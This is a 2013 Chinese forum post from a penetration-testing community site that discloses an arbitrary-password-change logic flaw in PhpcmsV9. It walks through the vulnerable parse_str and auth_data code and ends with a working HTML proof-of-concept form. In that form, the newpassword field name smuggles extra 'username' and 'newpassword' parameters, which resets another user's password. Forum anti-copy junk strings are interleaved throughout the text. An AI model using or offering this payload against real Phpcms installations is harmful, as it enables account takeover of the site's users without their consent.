中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
1 E/ {4 Z) D8 B7 v! Y0 f- }
9 M" ]& U# C* R; B
d1 r9 I% D; `) o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" e/ v5 Q$ v5 M4 E
% c: h1 U, Y4 h6 l
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
# G1 F5 [' @; A7 I' c# {
5 @, e& l2 }- I
我把它留给了你们。
; H9 p( B+ ~4 i; E7 f
不知道你们发现了它没有。
6 w5 s& L$ Z) A( @( M _0 K: i9 b
) l' C: y1 m' b9 Q8 g2 m9 P% U
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
. y7 M2 t+ D+ `
; M& `1 u& g2 E- h7 b
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
1 B9 n3 }) F3 t# y
, v# i7 C1 [% {( h1 C
也就是
2 l! W! b, t" h ]# X
! V% X" [- y1 K# ^9 g
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
V6 { H- O" H% b3 }
/ D; a: I; H# _3 c8 J
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
- O$ h' F" u( t
: y4 @/ L' C, i& u+ n$ t
' L0 v x+ T) U4 m. c A
其实我们有这样的机会,看看代码,如下:
% q3 s+ l. z7 A- M
) t2 a( o+ N J7 ]; e1 ~
& y# ^$ O* z) P
public function auth_data($data) {
# X, E/ y. _2 b9 l. z
$s = $sep = '';
% X9 a4 t* M& ?* z& g
foreach($data as $k => $v) {
; w3 S" N0 ~# g' |! S
if(is_array($v)) {
) p1 y# Z9 {" F& ]; \
$s2 = $sep2 = '';
/ d+ A0 }8 w4 s$ V8 T
foreach($v as $k2 => $v2) {
) j. F# f% \6 W! A
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
0 [& s/ P' i# V
$sep2 = '&';
. h! u( k. `; I/ V, l
}
8 x5 d" \# h" S8 p
$s .= $sep.$s2;
) w2 H, t9 A1 n0 A. Z- b: U7 P
} else {
- R$ y2 x* u+ A. w1 t' @6 e* P/ R
$s .= "$sep$k=".$this->_ps_stripslashes($v);
% K" z2 H1 i c; M$ t
}
. c& ~1 q! G/ v0 B9 h, k! \
$sep = '&';
0 k, M6 C. y% l$ g5 B7 ?% |5 `
}
9 a; l; W9 H4 a, c% e0 [2 M
4 L6 Y: g* L6 n e: N Y% Y+ D+ W
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
+ j# Y# A5 d) v" |2 R8 M$ w
return $auth_s;
( @ Y: Z! [3 G* C. }8 i% G
}
3 t& a, x5 P4 t5 K) o
3 S$ o( w8 e( k# S) K
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
$ ?* I. H- b3 p1 t+ I( |# N$ D# c
_! H7 M9 y- H
举个例子
4 U) @, b3 d j0 y u& A
; B% n# x5 i* F9 W+ M& _: l ~/ s
$a[aaa=a&bbb] = 'a';
3 M* B6 D0 ?0 T2 F( j* m4 E
4 [; h' V/ d! i3 D! X
会变成aaa=a&bbb=a
2 b, S9 S9 V+ n. R. [/ U% e
9 I' u/ U1 a( e3 u) o
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
: |: @0 O* i+ y3 J* z# O1 d
4 P4 h8 y& U& c" }
这个时候,我们可以再去看一个函数。
, ?. V) D/ E# \; g
# c( l3 Z# F* N# V r' ?8 ]
就在这个文件内:
0 Z, X1 d" u, I
' t: R0 a' W5 a+ ?$ r
9 K- a- ~, M: I) b: K
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
b+ P" t: E+ _& T9 q0 g/ g
if($email && !$this->_is_email($email)) {
! Z7 P( b6 q R& y7 I
return -4;
" g8 S9 c/ c& O# b- y2 u
}
' h; N: P' e- F) ]% {0 n a8 W
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
# g, Z4 j. ~+ z! W
}
( L9 @9 w/ `7 _2 _7 y2 s5 J
) Y# v& }4 O- ]+ H3 K8 W
这是向通行证发了这样一个请求。
& w$ S* T" z- Z; Z+ i Y( c
9 O9 Q; v7 E+ D8 i& Z. ~
我们再跟到通信证代码里去看看,就会有所发现。
# f- i, V. N( r' m/ V( X1 g
' G7 M2 a/ S# x" B. o* p
8 r# g% M& K, I7 ~
public function edit() {
' n6 L0 h8 |% u+ Q
//能省就省,太长了不是吗?
' ?) ^# _4 O/ C' @
$ C- s2 U0 @, n* [' g
if($this->username) {
; M. ?/ e, s9 S1 }" b& X9 m) P
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ j0 e1 F( z+ r) z3 ]5 Q
$res = $this->db->update($data, array('username'=>$this->username));
& F/ r5 R" ] t0 X3 n+ v
} else {
' d" x& o* p$ a: ^
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( g% W! a, F$ }) f/ N( r
$res = $this->db->update($data, array('uid'=>$this->uid));
8 ^2 B" d2 ~8 h8 w2 B/ b! X4 F
}
/ V2 V" N+ r; _8 E
% @! t4 B0 v% i6 E
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
$ m V. T9 d5 ?$ E& y8 h
6 ? w8 P6 O* U- H
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- u/ }, t& p; }$ Q% e
' i* C0 q0 |, n" q
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
. }7 b, N( S6 d9 `
J7 J9 N2 `- h* ]# T8 Z+ [
我当然找到了:
$ J E4 D, }4 `$ j: T& m
phpcms9/phpcms/modules/member/index.php
2 @1 V" ?7 P( }! Q- F. I: v
( |) b8 b8 j$ o* {1 ~4 s
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
& f, b5 L1 q$ J0 W% ~
+ I9 H, S% z3 |
然后就没有然后了。
6 V% h; @. v Z2 G% n: |) c; _
# S. e" O1 T3 ~+ W+ e# x
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
3 p- R j- w* h" @- M
<table width="100%" cellspacing="0" class="table_form">
$ ~% {; P9 [& t5 \2 p
<tr>
# {/ V$ r$ B; W) K- E
<th width="80">邮箱:</th>
3 n8 ]. d- C+ H9 F3 |
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
: H1 O/ E" |7 G' q0 r
</tr>
7 _+ C5 m3 |2 }' u
<tr>
/ ^) x6 `6 T% d; C
<th width="80">原密码:</th>
7 ^$ i% H8 Q! Q! m" W" J
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
: L$ {8 R7 K+ e. O% ~4 r
</tr>
6 P: \! z: J! p4 A W
<tr>
0 b3 `0 Z3 p6 C. R1 r6 s* _
<th>新密码:</th>
- R$ n" _& f1 j
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
0 q) E: k9 Y$ O. M8 v0 Q0 R/ p
</tr>
M, N: K! H t% r! T
<th></th>
. w- [5 B* s p- u
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
2 ]+ }& Y! F6 b: M
</tr>
# z N, l5 r+ Q' W! n+ a
</table>
7 V( v1 {* S- n3 z+ _
$ _5 U" l9 c! t0 L. n$ _
; p& w/ |( ]; p% c1 H( D, |3 c9 ~
</form>
; k, W/ T9 F7 J D
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2